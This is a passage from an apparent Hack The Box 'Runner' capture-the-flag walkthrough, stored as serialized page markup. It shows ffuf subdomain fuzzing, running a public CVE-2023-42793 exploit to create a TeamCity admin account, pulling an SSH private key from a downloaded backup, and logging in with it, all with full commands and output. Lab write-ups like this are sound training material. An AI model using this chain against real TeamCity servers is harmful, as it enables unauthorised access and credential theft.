\\\u002F_\u002F   \\\u002F___\u002F    \\\u002F_\u002F       \n",[28,1337,1338],{"class":30,"line":113},[28,1339,1340],{"class":54},"    \n",[28,1342,1343],{"class":30,"line":122},[28,1344,1345],{"class":54},"       v2.1.0-dev\n",[28,1347,1348],{"class":30,"line":131},[28,1349,1350],{"class":54},"________________________________________________\n",[28,1352,1353],{"class":30,"line":139},[28,1354,71],{"emptyLinePlaceholder":70},[28,1356,1357],{"class":30,"line":346},[28,1358,1359],{"class":54}," :: Method           : GET\n",[28,1361,1362],{"class":30,"line":361},[28,1363,1364],{"class":54}," :: URL              : http:\u002F\u002Frunner.htb\n",[28,1366,1367],{"class":30,"line":376},[28,1368,1369],{"class":54}," :: Wordlist         : FUZZ: \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FDNS\u002Fn0kovo_subdomains.txt\n",[28,1371,1372],{"class":30,"line":400},[28,1373,1374],{"class":54}," :: Header           : Host: FUZZ.runner.htb\n",[28,1376,1377],{"class":30,"line":431},[28,1378,1379],{"class":54}," :: Follow redirects : false\n",[28,1381,1382],{"class":30,"line":448},[28,1383,1384],{"class":54}," :: Calibration      : false\n",[28,1386,1387],{"class":30,"line":466},[28,1388,1389],{"class":54}," :: Timeout          : 10\n",[28,1391,1392],{"class":30,"line":487},[28,1393,1394],{"class":54}," :: Threads          : 40\n",[28,1396,1397],{"class":30,"line":503},[28,1398,1399],{"class":54}," :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n",[28,1401,1402],{"class":30,"line":519},[28,1403,1404],{"class":54}," :: Filter           : Response status: 302\n",[28,1406,1407],{"class":30,"line":548},[28,1408,1350],{"class":54},[28,1410,1411],{"class":30,"line":563},[28,1412,71],{"emptyLinePlaceholder":70},[28,1414,1415],{"class":30,"line":580},[28,1416,1417],{"class":54},"teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 13ms]\n",[28,1419,1420],{"class":30,"line":625},[28,1421,1422],{"class":54},":: Progress: [1078578\u002F3000000] :: Job [1\u002F1] :: 5555 req\u002Fsec :: Duration: [0:03:30] :: Errors: 0 ::\n",[11,1424,1425],{},"With the help of FFuF I found the subdomain “teamcity”. I have added this entry to the host file.",[15,1427,1428],{},[18,1429,1431],{"className":20,"code":1430,"language":22,"meta":23,"style":23},"┌─[root@htb-t4h9wakocl]─[~]\n└──╼ #cat \u002Fetc\u002Fhosts\n127.0.0.1   localhost\n127.0.1.1   debian12-parrot\n\n10.129.212.181 runner.htb teamcity.runner.htb\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.0.0.1 localhost\n127.0.1.1 htb-t4h9wakocl htb-t4h9wakocl.htb-cloud.com\n",[25,1432,1433,1437,1443,1449,1455,1459,1468,1472,1476,1488,1494,1500,1506],{"__ignoreMap":23},[28,1434,1435],{"class":30,"line":31},[28,1436,35],{"class":34},[28,1438,1439,1441],{"class":30,"line":38},[28,1440,41],{"class":34},[28,1442,45],{"class":44},[28,1444,1445,1447],{"class":30,"line":48},[28,1446,51],{"class":34},[28,1448,55],{"class":54},[28,1450,1451,1453],{"class":30,"line":58},[28,1452,61],{"class":34},[28,1454,64],{"class":54},[28,1456,1457],{"class":30,"line":67},[28,1458,71],{"emptyLinePlaceholder":70},[28,1460,1461,1463,1465],{"class":30,"line":74},[28,1462,77],{"class":34},[28,1464,382],{"class":54},[28,1466,1467],{"class":54}," teamcity.runner.htb\n",[28,1469,1470],{"class":30,"line":83},[28,1471,71],{"emptyLinePlaceholder":70},[28,1473,1474],{"class":30,"line":88},[28,1475,91],{"class":44},[28,1477,1478,1480,1482,1484,1486],{"class":30,"line":94},[28,1479,98],{"class":97},[28,1481,101],{"class":54},[28,1483,104],{"class":54},[28,1485,107],{"class":54},[28,1487,110],{"class":54},[28,1489,1490,1492],{"class":30,"line":113},[28,1491,116],{"class":34},[28,1493,119],{"class":54},[28,1495,1496,1498],{"class":30,"line":122},[28,1497,125],{"class":34},[28,1499,128],{"class":54},[28,1501,1502,1504],{"class":30,"line":131},[28,1503,51],{"class":34},[28,1505,136],{"class":54},[28,1507,1508,1510,1512],{"class":30,"line":139},[28,1509,61],{"class":34},[28,1511,144],{"class":54},[28,1513,147],{"class":54},[11,1515,1516],{},"Then I opened the website in the browser. Here we can also directly see the version of the Teamcity instance (2023.05.3 build 129390).",[11,1518,1519],{},[1520,1521],"img",{"alt":23,"src":1522},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720135031652.webp",[11,1524,1525],{},"If you do a quick Google search, you will find an exploit that allows you to create an admin account.",[11,1527,1528,1531,1532],{},[1520,1529],{"alt":23,"src":1530},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720135241552.webp","\nSource: ",[1533,1534,1535],"a",{"href":1535,"rel":1536},"https:\u002F\u002Fgithub.com\u002FZyad-Elsayed\u002FCVE-2023-42793",[1537],"nofollow",[11,1539,1540],{},"With the help of Git clone I downloaded the exploit from Github. I then wanted to install the requirements for the exploit, but they were all already installed. There would only have been an update for PIP, but this can be ignored.",[15,1542,1543],{},[18,1544,1546],{"className":20,"code":1545,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ git clone https:\u002F\u002Fgithub.com\u002FZyad-Elsayed\u002FCVE-2023-42793.git\nCloning into 'CVE-2023-42793'...\nremote: Enumerating objects: 50, done.\nremote: Counting objects: 100% (50\u002F50), done.\nremote: Compressing objects: 100% (47\u002F47), done.\nReceiving objects: 100% (50\u002F50), 19.63 KiB | 6.54 MiB\u002Fs, done.\nremote: Total 50 (delta 12), reused 0 (delta 0), pack-reused 0\nResolving deltas: 100% (12\u002F12), done.\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ ls\ncacert.der      Desktop    Downloads  my_data   Public     Videos\nCVE-2023-42793  Documents  Music      Pictures  Templates\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ cd CVE-2023-42793\u002F\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FCVE-2023-42793]\n└──╼ [★]$ ls\nexploit.py  rce.py  README.md  requirements.txt\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FCVE-2023-42793]\n└──╼ [★]$ pip3 install -r requirements.txt\nDefaulting to user installation because normal site-packages is not writeable\nCollecting argparse (from -r requirements.txt (line 1))\n  Downloading argparse-1.4.0-py2.py3-none-any.whl.metadata (2.8 kB)\nRequirement already satisfied: requests in \u002Fusr\u002Flocal\u002Flib\u002Fpython3.11\u002Fdist-packages (from -r requirements.txt (line 2)) (2.32.3)\nRequirement already satisfied: charset-normalizer\u003C4,>=2 in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages (from requests->-r requirements.txt (line 2)) (3.0.1)\nRequirement already satisfied: idna\u003C4,>=2.5 in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages (from requests->-r requirements.txt (line 2)) (3.3)\nRequirement already satisfied: urllib3\u003C3,>=1.21.1 in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages (from requests->-r requirements.txt (line 2)) (1.26.12)\nRequirement already satisfied: certifi>=2017.4.17 in \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages (from requests->-r requirements.txt (line 2)) (2022.9.24)\nDownloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)\nInstalling collected packages: argparse\nSuccessfully installed argparse-1.4.0\n\n[notice] A new release of pip is available: 24.1.1 -> 24.1.2\n[notice] To update, run: python -m pip install --upgrade pip\n",[25,1547,1548,1552,1559,1577,1594,1609,1623,1645,1673,1686,1690,1697,1717,1733,1737,1744,1749,1755,1769,1773,1780,1811,1837,1853,1892,1949,2000,2051,2099,2114,2128,2139,2143,2161],{"__ignoreMap":23},[28,1549,1550],{"class":30,"line":31},[28,1551,162],{"class":34},[28,1553,1554,1556],{"class":30,"line":38},[28,1555,41],{"class":34},[28,1557,1558],{"class":169}," [★]$ git clone https:\u002F\u002Fgithub.com\u002FZyad-Elsayed\u002FCVE-2023-42793.git\n",[28,1560,1561,1564,1567,1569,1572,1574],{"class":30,"line":48},[28,1562,1563],{"class":34},"Cloning",[28,1565,1566],{"class":54}," into",[28,1568,616],{"class":615},[28,1570,1571],{"class":54},"CVE-2023-42793",[28,1573,1151],{"class":615},[28,1575,1576],{"class":54},"...\n",[28,1578,1579,1582,1585,1588,1591],{"class":30,"line":58},[28,1580,1581],{"class":34},"remote:",[28,1583,1584],{"class":54}," Enumerating",[28,1586,1587],{"class":54}," objects:",[28,1589,1590],{"class":54}," 50,",[28,1592,1593],{"class":54}," done.\n",[28,1595,1596,1598,1601,1603,1606],{"class":30,"line":67},[28,1597,1581],{"class":34},[28,1599,1600],{"class":54}," Counting",[28,1602,1587],{"class":54},[28,1604,1605],{"class":54}," 100%",[28,1607,1608],{"class":169}," (50\u002F50), done.\n",[28,1610,1611,1613,1616,1618,1620],{"class":30,"line":74},[28,1612,1581],{"class":34},[28,1614,1615],{"class":54}," Compressing",[28,1617,1587],{"class":54},[28,1619,1605],{"class":54},[28,1621,1622],{"class":169}," (47\u002F47), done.\n",[28,1624,1625,1628,1630,1632,1635,1637,1640,1643],{"class":30,"line":83},[28,1626,1627],{"class":34},"Receiving",[28,1629,1587],{"class":54},[28,1631,1605],{"class":54},[28,1633,1634],{"class":169}," (50\u002F50), 19.63 KiB ",[28,1636,966],{"class":965},[28,1638,1639],{"class":34}," 6.54",[28,1641,1642],{"class":54}," MiB\u002Fs,",[28,1644,1593],{"class":54},[28,1646,1647,1649,1652,1655,1658,1661,1664,1667,1670],{"class":30,"line":88},[28,1648,1581],{"class":34},[28,1650,1651],{"class":54}," Total",[28,1653,1654],{"class":201}," 50",[28,1656,1657],{"class":169}," (delta ",[28,1659,1660],{"class":201},"12",[28,1662,1663],{"class":169},"), reused 0 (",[28,1665,1666],{"class":34},"delta",[28,1668,1669],{"class":201}," 0",[28,1671,1672],{"class":169},"), pack-reused 0\n",[28,1674,1675,1678,1681,1683],{"class":30,"line":94},[28,1676,1677],{"class":34},"Resolving",[28,1679,1680],{"class":54}," deltas:",[28,1682,1605],{"class":54},[28,1684,1685],{"class":169}," (12\u002F12), done.\n",[28,1687,1688],{"class":30,"line":113},[28,1689,162],{"class":34},[28,1691,1692,1694],{"class":30,"line":122},[28,1693,41],{"class":34},[28,1695,1696],{"class":169}," [★]$ ls\n",[28,1698,1699,1702,1705,1708,1711,1714],{"class":30,"line":131},[28,1700,1701],{"class":34},"cacert.der",[28,1703,1704],{"class":54},"      Desktop",[28,1706,1707],{"class":54},"    Downloads",[28,1709,1710],{"class":54},"  my_data",[28,1712,1713],{"class":54},"   Public",[28,1715,1716],{"class":54},"     Videos\n",[28,1718,1719,1721,1724,1727,1730],{"class":30,"line":139},[28,1720,1571],{"class":34},[28,1722,1723],{"class":54},"  Documents",[28,1725,1726],{"class":54},"  Music",[28,1728,1729],{"class":54},"      Pictures",[28,1731,1732],{"class":54},"  Templates\n",[28,1734,1735],{"class":30,"line":346},[28,1736,162],{"class":34},[28,1738,1739,1741],{"class":30,"line":361},[28,1740,41],{"class":34},[28,1742,1743],{"class":169}," [★]$ cd CVE-2023-42793\u002F\n",[28,1745,1746],{"class":30,"line":376},[28,1747,1748],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FCVE-2023-42793]\n",[28,1750,1751,1753],{"class":30,"line":400},[28,1752,41],{"class":34},[28,1754,1696],{"class":169},[28,1756,1757,1760,1763,1766],{"class":30,"line":431},[28,1758,1759],{"class":34},"exploit.py",[28,1761,1762],{"class":54},"  rce.py",[28,1764,1765],{"class":54},"  README.md",[28,1767,1768],{"class":54},"  requirements.txt\n",[28,1770,1771],{"class":30,"line":448},[28,1772,1748],{"class":34},[28,1774,1775,1777],{"class":30,"line":466},[28,1776,41],{"class":34},[28,1778,1779],{"class":169}," [★]$ pip3 install -r requirements.txt\n",[28,1781,1782,1785,1788,1791,1794,1797,1800,1803,1805,1808],{"class":30,"line":487},[28,1783,1784],{"class":34},"Defaulting",[28,1786,1787],{"class":54}," to",[28,1789,1790],{"class":54}," user",[28,1792,1793],{"class":54}," installation",[28,1795,1796],{"class":54}," because",[28,1798,1799],{"class":54}," normal",[28,1801,1802],{"class":54}," site-packages",[28,1804,824],{"class":54},[28,1806,1807],{"class":54}," not",[28,1809,1810],{"class":54}," writeable\n",[28,1812,1813,1816,1819,1822,1825,1828,1831,1834],{"class":30,"line":503},[28,1814,1815],{"class":34},"Collecting",[28,1817,1818],{"class":54}," argparse",[28,1820,1821],{"class":169}," (from ",[28,1823,1824],{"class":201},"-r",[28,1826,1827],{"class":54}," requirements.txt",[28,1829,1830],{"class":169}," (line ",[28,1832,1833],{"class":201},"1",[28,1835,1836],{"class":169},"))\n",[28,1838,1839,1842,1845,1848,1851],{"class":30,"line":519},[28,1840,1841],{"class":34},"  Downloading",[28,1843,1844],{"class":54}," argparse-1.4.0-py2.py3-none-any.whl.metadata",[28,1846,1847],{"class":169}," (2.8 ",[28,1849,1850],{"class":54},"kB",[28,1852,428],{"class":169},[28,1854,1855,1858,1861,1864,1867,1870,1873,1875,1877,1879,1881,1884,1887,1890],{"class":30,"line":548},[28,1856,1857],{"class":34},"Requirement",[28,1859,1860],{"class":54}," already",[28,1862,1863],{"class":54}," satisfied:",[28,1865,1866],{"class":54}," requests",[28,1868,1869],{"class":54}," in",[28,1871,1872],{"class":54}," \u002Fusr\u002Flocal\u002Flib\u002Fpython3.11\u002Fdist-packages",[28,1874,1821],{"class":169},[28,1876,1824],{"class":201},[28,1878,1827],{"class":54},[28,1880,1830],{"class":169},[28,1882,1883],{"class":201},"2",[28,1885,1886],{"class":169},")) (",[28,1888,1889],{"class":34},"2.32.3",[28,1891,428],{"class":169},[28,1893,1894,1896,1898,1900,1903,1906,1908,1911,1914,1917,1919,1921,1924,1926,1929,1932,1934,1936,1938,1940,1942,1944,1947],{"class":30,"line":563},[28,1895,1857],{"class":34},[28,1897,1860],{"class":54},[28,1899,1863],{"class":54},[28,1901,1902],{"class":54}," charset-normalizer",[28,1904,1905],{"class":965},"\u003C",[28,1907,391],{"class":54},[28,1909,1910],{"class":169},",",[28,1912,1913],{"class":965},">",[28,1915,1916],{"class":54},"=",[28,1918,1883],{"class":201},[28,1920,1869],{"class":54},[28,1922,1923],{"class":54}," \u002Fusr\u002Flib\u002Fpython3\u002Fdist-packages",[28,1925,1821],{"class":169},[28,1927,1928],{"class":54},"requests",[28,1930,1931],{"class":169},"-",[28,1933,1913],{"class":965},[28,1935,1824],{"class":54},[28,1937,1827],{"class":54},[28,1939,1830],{"class":169},[28,1941,1883],{"class":201},[28,1943,1886],{"class":169},[28,1945,1946],{"class":34},"3.0.1",[28,1948,428],{"class":169},[28,1950,1951,1953,1955,1957,1960,1962,1964,1966,1968,1970,1973,1975,1977,1979,1981,1983,1985,1987,1989,1991,1993,1995,1998],{"class":30,"line":580},[28,1952,1857],{"class":34},[28,1954,1860],{"class":54},[28,1956,1863],{"class":54},[28,1958,1959],{"class":54}," idna",[28,1961,1905],{"class":965},[28,1963,391],{"class":54},[28,1965,1910],{"class":169},[28,1967,1913],{"class":965},[28,1969,1916],{"class":54},[28,1971,1972],{"class":201},"2.5",[28,1974,1869],{"class":54},[28,1976,1923],{"class":54},[28,1978,1821],{"class":169},[28,1980,1928],{"class":54},[28,1982,1931],{"class":169},[28,1984,1913],{"class":965},[28,1986,1824],{"class":54},[28,1988,1827],{"class":54},[28,1990,1830],{"class":169},[28,1992,1883],{"class":201},[28,1994,1886],{"class":169},[28,1996,1997],{"class":34},"3.3",[28,1999,428],{"class":169},[28,2001,2002,2004,2006,2008,2011,2013,2015,2017,2019,2021,2024,2026,2028,2030,2032,2034,2036,2038,2040,2042,2044,2046,2049],{"class":30,"line":625},[28,2003,1857],{"class":34},[28,2005,1860],{"class":54},[28,2007,1863],{"class":54},[28,2009,2010],{"class":54}," urllib3",[28,2012,1905],{"class":965},[28,2014,240],{"class":54},[28,2016,1910],{"class":169},[28,2018,1913],{"class":965},[28,2020,1916],{"class":54},[28,2022,2023],{"class":201},"1.21.1",[28,2025,1869],{"class":54},[28,2027,1923],{"class":54},[28,2029,1821],{"class":169},[28,2031,1928],{"class":54},[28,2033,1931],{"class":169},[28,2035,1913],{"class":965},[28,2037,1824],{"class":54},[28,2039,1827],{"class":54},[28,2041,1830],{"class":169},[28,2043,1883],{"class":201},[28,2045,1886],{"class":169},[28,2047,2048],{"class":34},"1.26.12",[28,2050,428],{"class":169},[28,2052,2053,2055,2057,2059,2062,2065,2067,2069,2072,2074,2076,2078,2080,2082,2084,2086,2088,2090,2092,2094,2097],{"class":30,"line":658},[28,2054,1857],{"class":34},[28,2056,1860],{"class":54},[28,2058,1863],{"class":54},[28,2060,2061],{"class":54}," certif",[28,2063,2064],{"class":169},"i",[28,2066,1913],{"class":965},[28,2068,1916],{"class":54},[28,2070,2071],{"class":201},"2017.4.17",[28,2073,1869],{"class":54},[28,2075,1923],{"class":54},[28,2077,1821],{"class":169},[28,2079,1928],{"class":54},[28,2081,1931],{"class":169},[28,2083,1913],{"class":965},[28,2085,1824],{"class":54},[28,2087,1827],{"class":54},[28,2089,1830],{"class":169},[28,2091,1883],{"class":201},[28,2093,1886],{"class":169},[28,2095,2096],{"class":34},"2022.9.24",[28,2098,428],{"class":169},[28,2100,2101,2104,2107,2110,2112],{"class":30,"line":671},[28,2102,2103],{"class":34},"Downloading",[28,2105,2106],{"class":54}," argparse-1.4.0-py2.py3-none-any.whl",[28,2108,2109],{"class":169}," (23 ",[28,2111,1850],{"class":54},[28,2113,428],{"class":169},[28,2115,2116,2119,2122,2125],{"class":30,"line":688},[28,2117,2118],{"class":34},"Installing",[28,2120,2121],{"class":54}," collected",[28,2123,2124],{"class":54}," packages:",[28,2126,2127],{"class":54}," argparse\n",[28,2129,2130,2133,2136],{"class":30,"line":699},[28,2131,2132],{"class":34},"Successfully",[28,2134,2135],{"class":54}," installed",[28,2137,2138],{"class":54}," argparse-1.4.0\n",[28,2140,2141],{"class":30,"line":715},[28,2142,71],{"emptyLinePlaceholder":70},[28,2144,2145,2147,2150,2153,2156,2158],{"class":30,"line":732},[28,2146,388],{"class":97},[28,2148,2149],{"class":169},"notice",[28,2151,2152],{"class":97},"]",[28,2154,2155],{"class":169}," A new release of pip is available: 24.1.1 -",[28,2157,1913],{"class":965},[28,2159,2160],{"class":169}," 24.1.2\n",[28,2162,2163,2165,2167,2169],{"class":30,"line":743},[28,2164,388],{"class":97},[28,2166,2149],{"class":169},[28,2168,2152],{"class":97},[28,2170,2171],{"class":169}," To update, run: python -m pip install --upgrade pip\n",[11,2173,2174],{},"I then executed the exploit.",[15,2176,2177],{},[18,2178,2180],{"className":20,"code":2179,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FCVE-2023-42793]\n└──╼ [★]$ python exploit.py -u http:\u002F\u002Fteamcity.runner.htb\n\n=====================================================\n*                                                   *\n*              CVE-2023-42793                       *\n*        TeamCity Admin Account Creation            *\n*                                                   *\n=====================================================\n\nToken: eyJ0eXAiOiAiVENWMiJ9.VGpybzA3X1Z3YjFWQkVvLTdHQXc3dFlPQUU4.MDVjNTQ1NGEtNDQxZi00M2NmLTk3MjgtZWNlMDNiMDYyM2U0\nToken saved to .\u002Ftoken\nSuccessfully exploited!\nURL: http:\u002F\u002Fteamcity.runner.htb\nUsername: admin.zIQJ\nPassword: Password@123\n",[25,2181,2182,2186,2193,2197,2202,2210,2220,2229,2235,2239,2243,2251,2264,2271,2279,2287],{"__ignoreMap":23},[28,2183,2184],{"class":30,"line":31},[28,2185,1748],{"class":34},[28,2187,2188,2190],{"class":30,"line":38},[28,2189,41],{"class":34},[28,2191,2192],{"class":169}," [★]$ python exploit.py -u http:\u002F\u002Fteamcity.runner.htb\n",[28,2194,2195],{"class":30,"line":48},[28,2196,71],{"emptyLinePlaceholder":70},[28,2198,2199],{"class":30,"line":58},[28,2200,2201],{"class":54},"=====================================================\n",[28,2203,2204,2207],{"class":30,"line":67},[28,2205,2206],{"class":965},"*",[28,2208,2209],{"class":965},"                                                   *\n",[28,2211,2212,2214,2217],{"class":30,"line":74},[28,2213,2206],{"class":965},[28,2215,2216],{"class":169},"              CVE-2023-42793                       ",[28,2218,2219],{"class":965},"*\n",[28,2221,2222,2224,2227],{"class":30,"line":83},[28,2223,2206],{"class":965},[28,2225,2226],{"class":169},"        TeamCity Admin Account Creation            ",[28,2228,2219],{"class":965},[28,2230,2231,2233],{"class":30,"line":88},[28,2232,2206],{"class":965},[28,2234,2209],{"class":965},[28,2236,2237],{"class":30,"line":94},[28,2238,2201],{"class":54},[28,2240,2241],{"class":30,"line":113},[28,2242,71],{"emptyLinePlaceholder":70},[28,2244,2245,2248],{"class":30,"line":122},[28,2246,2247],{"class":34},"Token:",[28,2249,2250],{"class":54}," eyJ0eXAiOiAiVENWMiJ9.VGpybzA3X1Z3YjFWQkVvLTdHQXc3dFlPQUU4.MDVjNTQ1NGEtNDQxZi00M2NmLTk3MjgtZWNlMDNiMDYyM2U0\n",[28,2252,2253,2256,2259,2261],{"class":30,"line":131},[28,2254,2255],{"class":34},"Token",[28,2257,2258],{"class":54}," saved",[28,2260,1787],{"class":54},[28,2262,2263],{"class":54}," .\u002Ftoken\n",[28,2265,2266,2268],{"class":30,"line":139},[28,2267,2132],{"class":34},[28,2269,2270],{"class":54}," exploited!\n",[28,2272,2273,2276],{"class":30,"line":346},[28,2274,2275],{"class":34},"URL:",[28,2277,2278],{"class":54}," http:\u002F\u002Fteamcity.runner.htb\n",[28,2280,2281,2284],{"class":30,"line":361},[28,2282,2283],{"class":34},"Username:",[28,2285,2286],{"class":54}," admin.zIQJ\n",[28,2288,2289,2292],{"class":30,"line":376},[28,2290,2291],{"class":34},"Password:",[28,2293,2294],{"class":54}," Password@123\n",[11,2296,2297],{},"The login with the created access data worked. I then did a lot of research into what I could do in the Teamcity instance. At some point I came across the backup function and then created a backup and downloaded it.",[11,2299,2300],{},[1520,2301],{"alt":23,"src":2302},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720141111977.webp",[11,2304,2305],{},"I have found an RSA key in the backup.",[11,2307,2308],{},[1520,2309],{"alt":23,"src":2310},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720141934720.webp",[11,2312,2313],{},"Now I am trying to log in to the VM using the RSA key.",[15,2315,2316],{},[18,2317,2319],{"className":20,"code":2318,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ cd Downloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys\u002F\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys]\n└──╼ [★]$ ssh -i id_rsa john@runner.htb\nThe authenticity of host 'runner.htb (10.129.212.181)' can't be established.\nED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01\u002FMUj\u002F+u0EBasUVsdSQMHdyfY.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\u002Fno\u002F[fingerprint])? yes\nWarning: Permanently added 'runner.htb' (ED25519) to the list of known hosts.\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nPermissions 0644 for 'id_rsa' are too open.\nIt is required that your private key files are NOT accessible by others.\nThis private key will be ignored.\nLoad key \"id_rsa\": bad permissions\njohn@runner.htb's password:\n",[25,2320,2321,2325,2332,2337,2344,2372,2377,2382,2387,2402,2407,2412,2416,2431,2436,2441,2446],{"__ignoreMap":23},[28,2322,2323],{"class":30,"line":31},[28,2324,162],{"class":34},[28,2326,2327,2329],{"class":30,"line":38},[28,2328,41],{"class":34},[28,2330,2331],{"class":169}," [★]$ cd Downloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys\u002F\n",[28,2333,2334],{"class":30,"line":48},[28,2335,2336],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys]\n",[28,2338,2339,2341],{"class":30,"line":58},[28,2340,41],{"class":34},[28,2342,2343],{"class":169}," [★]$ ssh -i id_rsa john@runner.htb\n",[28,2345,2346,2349,2352,2355,2357,2359,2362,2364,2367,2369],{"class":30,"line":67},[28,2347,2348],{"class":34},"The",[28,2350,2351],{"class":54}," authenticity",[28,2353,2354],{"class":54}," of",[28,2356,653],{"class":54},[28,2358,616],{"class":615},[28,2360,2361],{"class":54},"runner.htb (10.129.212.181)",[28,2363,1151],{"class":615},[28,2365,2366],{"class":54}," can",[28,2368,1151],{"class":615},[28,2370,2371],{"class":54},"t be established.\n",[28,2373,2374],{"class":30,"line":74},[28,2375,2376],{"class":54},"ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01\u002FMUj\u002F+u0EBasUVsdSQMHdyfY.\n",[28,2378,2379],{"class":30,"line":83},[28,2380,2381],{"class":54},"This key is not known by any other names.\n",[28,2383,2384],{"class":30,"line":88},[28,2385,2386],{"class":54},"Are you sure you want to continue connecting (yes\u002Fno\u002F[fingerprint])? yes\n",[28,2388,2389,2392,2394,2397,2399],{"class":30,"line":94},[28,2390,2391],{"class":54},"Warning: Permanently added ",[28,2393,1151],{"class":615},[28,2395,2396],{"class":54},"runner.htb",[28,2398,1151],{"class":615},[28,2400,2401],{"class":54}," (ED25519) to the list of known hosts.\n",[28,2403,2404],{"class":30,"line":113},[28,2405,2406],{"class":54},"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n",[28,2408,2409],{"class":30,"line":122},[28,2410,2411],{"class":54},"@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @\n",[28,2413,2414],{"class":30,"line":131},[28,2415,2406],{"class":54},[28,2417,2418,2421,2423,2426,2428],{"class":30,"line":139},[28,2419,2420],{"class":54},"Permissions 0644 for ",[28,2422,1151],{"class":615},[28,2424,2425],{"class":54},"id_rsa",[28,2427,1151],{"class":615},[28,2429,2430],{"class":54}," are too open.\n",[28,2432,2433],{"class":30,"line":346},[28,2434,2435],{"class":54},"It is required that your private key files are NOT accessible by others.\n",[28,2437,2438],{"class":30,"line":361},[28,2439,2440],{"class":54},"This private key will be ignored.\n",[28,2442,2443],{"class":30,"line":376},[28,2444,2445],{"class":54},"Load key \"id_rsa\": bad permissions\n",[28,2447,2448,2451,2453,2456],{"class":30,"line":400},[28,2449,2450],{"class":54},"john@runner.htb",[28,2452,1151],{"class":615},[28,2454,2455],{"class":54},"s",[28,2457,2458],{"class":54}," password:\n",[11,2460,2461],{},"We must first adjust the permissions of the RSA key so that it can be used.",[15,2463,2464],{},[18,2465,2467],{"className":20,"code":2466,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys]\n└──╼ [★]$ chmod 600 id_rsa \n",[25,2468,2469,2473],{"__ignoreMap":23},[28,2470,2471],{"class":30,"line":31},[28,2472,2336],{"class":34},[28,2474,2475,2477],{"class":30,"line":38},[28,2476,41],{"class":34},[28,2478,2479],{"class":169}," [★]$ chmod 600 id_rsa\n",[11,2481,2482],{},"Now I try to log in again and can then display the user.txt.",[15,2484,2485],{},[18,2486,2488],{"className":20,"code":2487,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fconfig\u002Fprojects\u002FAllProjects\u002FpluginData\u002Fssh_keys]\n└──╼ [★]$ ssh -i id_rsa john@runner.htb\nWelcome to Ubuntu 22.04.4 LTS (GNU\u002FLinux 5.15.0-102-generic x86_64)\n\n * Documentation:  https:\u002F\u002Fhelp.ubuntu.com\n * Management:     https:\u002F\u002Flandscape.canonical.com\n * Support:        https:\u002F\u002Fubuntu.com\u002Fpro\n\n  System information as of Fri Jul 19 09:21:47 PM UTC 2024\n\n  System load:                      0.123046875\n  Usage of \u002F:                       84.0% of 9.74GB\n  Memory usage:                     42%\n  Swap usage:                       0%\n  Processes:                        223\n  Users logged in:                  0\n  IPv4 address for br-21746deff6ac: 172.18.0.1\n  IPv4 address for docker0:         172.17.0.1\n  IPv4 address for eth0:            10.129.212.181\n  IPv6 address for eth0:            dead:beef::250:56ff:fe94:1703\n\n * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s\n  